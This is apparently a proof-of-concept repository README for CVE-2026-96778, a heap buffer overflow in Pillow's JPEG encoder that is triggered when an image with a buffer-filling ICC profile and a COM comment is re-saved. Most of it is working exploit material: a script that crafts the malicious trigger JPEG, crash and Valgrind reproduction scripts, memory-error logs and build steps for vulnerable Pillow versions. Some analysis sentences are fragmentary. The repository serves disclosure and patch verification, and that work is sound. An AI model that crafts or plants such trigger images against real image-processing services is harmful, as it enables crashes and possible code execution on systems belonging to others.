针对 CVE-2026-96778 的概念验证与技术分析:该漏洞是 Pillow 的 JPEG 编码器中的堆缓冲区溢出,在重新保存时由 ICC 配置文件加上 COM 标记触发。
此仓库包含 概念验证 (PoC)、复现证据以及针对 CVE-2026-96778 的技术分析,该漏洞是 Pillow(Python 图像库)中的一个堆缓冲区溢出。
简要总结:重新保存带有精确大小 ICC 配置文件和注释(COM 标记)的 JPEG 图像会导致写入超出 65,536 字节的编码器缓冲区,破坏堆元数据,并可能导致拒绝服务(崩溃)甚至代码执行。
| 字段 | 值 |
|---|---|
| CVE ID | CVE-2026-96778 |
| 组件 | src/libImaging/JpegEncode.c — ImagingJpegEncode() |
| 漏洞点 | 第 282 行(用于 COM 标记的 jpeg_write_marker) |
| 类型 | 堆缓冲区溢出 (CWE-122) |
| 受影响范围 | Pillow 9.4.0 – <13.0.0 |
| 修复版本 | Pillow 13.0.0 |
| 影响 | DoS (SIGSEGV/SIGABRT),潜在 RCE |
| 攻击向量 | 本地 / 用户交互(打开并重新保存图像) |
| 公告 | GHSA-g7cr-3p24-7wf7 |
JpegImagePlugin._save() 仅根据 exif 和 extra(ICC 配置文件)计算输出缓冲区大小,没有为注释预留空间。_encode_to_file() (src/encode.c:186) 分配 MAXBLOCK = 65,536 字节的缓冲区。free_in_buffer == 0。jpeg_write_marker() 写入 COM 标记时(JpegEncode.c:282),libjpeg 先写入 1 个字节,然后才减少计数器 size_t free_in_buffer。ENCODER_BUFFER = 65536 # ImageFile.MAXBLOCK
JFIF_HEADER = 20 # SOI + APP0 (ditulis jpeg_start_compress)
ICC_OVERHEAD = 18 # FFE2 <len> "ICC_PROFILE\0" <seq> <count>
ICC_PAYLOAD = 65536 - 20 - 18 = 65498 # tepat penuh
使用 ICC_PAYLOAD = 65498,缓冲区恰好填满到最后一个字节。
添加 COM 标记(任意长度,1–65533 字节)会触发溢出。
最大合法注释(65.533 字节)使溢出写入大量数据,因此崩溃更具确定性。小注释(例如 32 字节)仍会在 Valgrind 中触发 Invalid write,但在正常运行时不一定崩溃(取决于堆布局和分配器)。
| 组件 | 值 |
|---|---|
| 操作系统 | Ubuntu Linux x86_64 |
| 内核 | Linux 6.x |
| Python | 3.12.3 |
| Valgrind | 3.22.0 |
| libjpeg | 8.2.2 (/usr/lib/x86_64-linux-gnu/libjpeg.so.8.2.2) |
| 编译器 | gcc 13.3.0 |
| 测试的 Pillow | 9.4.0, 9.5.0, 13.0.0 |
| Pillow 来源 | 从源码构建 (pip install -e .) |
make_trigger.py — 生成触发 JPEG创建带有 65.498 字节 ICC 配置文件和 COM 标记的 trigger.jpg。
from PIL import Image
import io, struct
im = Image.new("RGB", (16, 16), (255, 0, 0))
buf = io.BytesIO()
im.save(buf, "JPEG", quality=90)
base_jpeg = buf.getvalue()
icc_data = b"\x00" * 65498
icc_header = b"ICC_PROFILE\x00" + bytes([1, 1])
app2_payload = icc_header + icc_data
def make_app2(payload):
length = len(payload) + 2
return b"\xFF\xE2" + struct.pack(">H", length) + payload
def make_com(comment: bytes):
length = len(comment) + 2
return b"\xFF\xFE" + struct.pack(">H", length) + comment
assert base_jpeg[:2] == b"\xFF\xD8"
trigger = base_jpeg[:2] + make_app2(app2_payload) + make_com(b"X" * 32) + base_jpeg[2:]
with open("trigger.jpg", "wb") as f:
f.write(trigger)
print("trigger.jpg dibuat:", len(trigger), "byte")
repro_cve.py — 对 Valgrind 友好的复现from PIL import Image
im = Image.open("trigger.jpg")
print("Ukuran:", im.size, "format:", im.format)
print("Punya ICC:", "icc_profile" in im.info)
print("Punya komentar:", "comment" in im.info)
im.save("out.jpg", "JPEG", icc_profile=im.info.get("icc_profile"))
print("Selesai menyimpan ulang.")
使用 Valgrind 运行:
python3 make_trigger.py
valgrind --error-exitcode=1 python3 repro_cve.py 2> valgrind.log
poc_advisory.py — PoC 参考(崩溃检测)基于 官方公告 GHSA-g7cr-3p24-7wf7。
在子进程中运行 im.save() 并检查退出状态
(负值 = 被信号终止)。
#!/usr/bin/env python3
# Pillow heap buffer overflow in ImagingJpegEncode() (JpegEncode.c, case 4).
import random, struct, subprocess, sys
from io import BytesIO
from PIL import Image
ENCODER_BUFFER = 65536
JFIF_HEADER = 20
ICC_OVERHEAD = 18
ICC_PAYLOAD = ENCODER_BUFFER - JFIF_HEADER - ICC_OVERHEAD # 65498
COMMENT = b"C" * 65533
RESAVE = """
import sys
from io import BytesIO
from PIL import Image
im = Image.open(BytesIO(sys.stdin.buffer.read()))
im.save(BytesIO(), "JPEG", icc_profile=im.info["icc_profile"])
print("save returned normally")
"""
def segment(marker, payload):
return bytes([0xFF, marker]) + struct.pack(">H", len(payload) + 2) + payload
def make_jpeg(with_comment):
noise = random.Random(1234).randbytes(256 * 256 * 3)
out = BytesIO()
Image.frombytes("RGB", (256, 256), noise).save(out, "JPEG", quality=95)
plain = out.getvalue()
icc = segment(0xE2, b"ICC_PROFILE\0\x01\x01" + b"I" * ICC_PAYLOAD)
com = segment(0xFE, COMMENT) if with_comment else b""
return plain[:2] + icc + com + plain[2:]
def resave(jpeg):
cmd = [sys.executable, "-X", "faulthandler", "-c", RESAVE]
r = subprocess.run(cmd, input=jpeg, capture_output=True)
print((r.stdout + r.stderr).decode(errors="replace").strip())
print(f"-> exit status {r.returncode}")
return r.returncode
print("Control: re-save the JPEG without a comment")
resave(make_jpeg(with_comment=False))
print(f"\nPoC: re-save the JPEG with a {len(COMMENT)}-byte comment")
rc = resave(make_jpeg(with_comment=True))
if rc < 0:
print(f"\nim.save() killed the process with signal {-rc}: out-of-bounds heap write")
print("BUG")
else:
print("OK")
| Pillow 版本 | 导入源 | Valgrind | PoC 通告 | 状态 |
|---|---|---|---|---|
| 9.4.0 | /mnt/Pillow/src/PIL | Invalid write ×5 + 堆损坏 | BUG (SIGSEGV) | 易受攻击 |
| 9.5.0 | /mnt/Pillow/src/PIL | Invalid write ×5 + 堆损坏 | BUG (SIGSEGV) | 易受攻击 |
| 13.0.0 | /mnt/Pillow-13/src/PIL | 0 errors | OK | 安全 |
==7310== Invalid write of size 1
==7310== at 0x622410E: ??? (in libjpeg.so.8.2.2)
==7310== by 0x6214569: jpeg_write_marker (in libjpeg.so.8.2.2)
==7310== by 0x61DE40D: ImagingJpegEncode (JpegEncode.c:282)
==7310== Address 0x60ddce0 is 0 bytes after a block of size 65,536 alloc'd
==7310== at malloc
==7310== by 0x61C06B4: _encode_to_file (encode.c:186)
...
valgrind: Heap block lo/hi size mismatch: lo = 65600, hi = 6365935209750747224
==7653== Invalid write of size 1
==7653== at 0x622510E: ??? (in libjpeg.so.8.2.2)
==7653== by 0x6215569: jpeg_write_marker (in libjpeg.so.8.2.2)
==7653== by 0x61DEB7D: ImagingJpegEncode (JpegEncode.c:282)
==7653== Address 0x6029c20 is 0 bytes after a block of size 65,536 alloc'd
...
valgrind: Heap block lo/hi size mismatch: lo = 65600, hi = 6365935209750747224
Punya ICC: True
Punya komentar: True
Selesai menyimpan ulang.
...
ERROR SUMMARY: 0 errors from 0 contexts (suppressed: 0 from 0)
sudo apt update
sudo apt install -y build-essential python3-dev libjpeg-dev zlib1g-dev \
libfreetype6-dev liblcms2-dev libtiff-dev libwebp-dev \
libopenjp2-7-dev libxcb1-dev valgrind git
git clone https://github.com/python-pillow/Pillow.git Pillow-test
cd Pillow-test
git checkout 9.5.0 # atau 9.4.0 / 13.0.0
python3 -m venv venv
source venv/bin/activate
pip install --upgrade pip setuptools wheel pybind11 setuptools-scm
pip install -e . --force-reinstall --no-cache-dir --no-build-isolation
python3 -c "import PIL; print(PIL.__version__, PIL.__file__)"
重要:请使用
pip install -e .,而不是setup.py build_ext --inplace。 只有 pip 流水线会执行build_clib(生成libpil_imaging_mode.a)。
cd poc
python3 make_trigger.py
valgrind --error-exitcode=1 python3 repro_cve.py 2> ../evidence/valgrind.log
python3 poc_advisory.py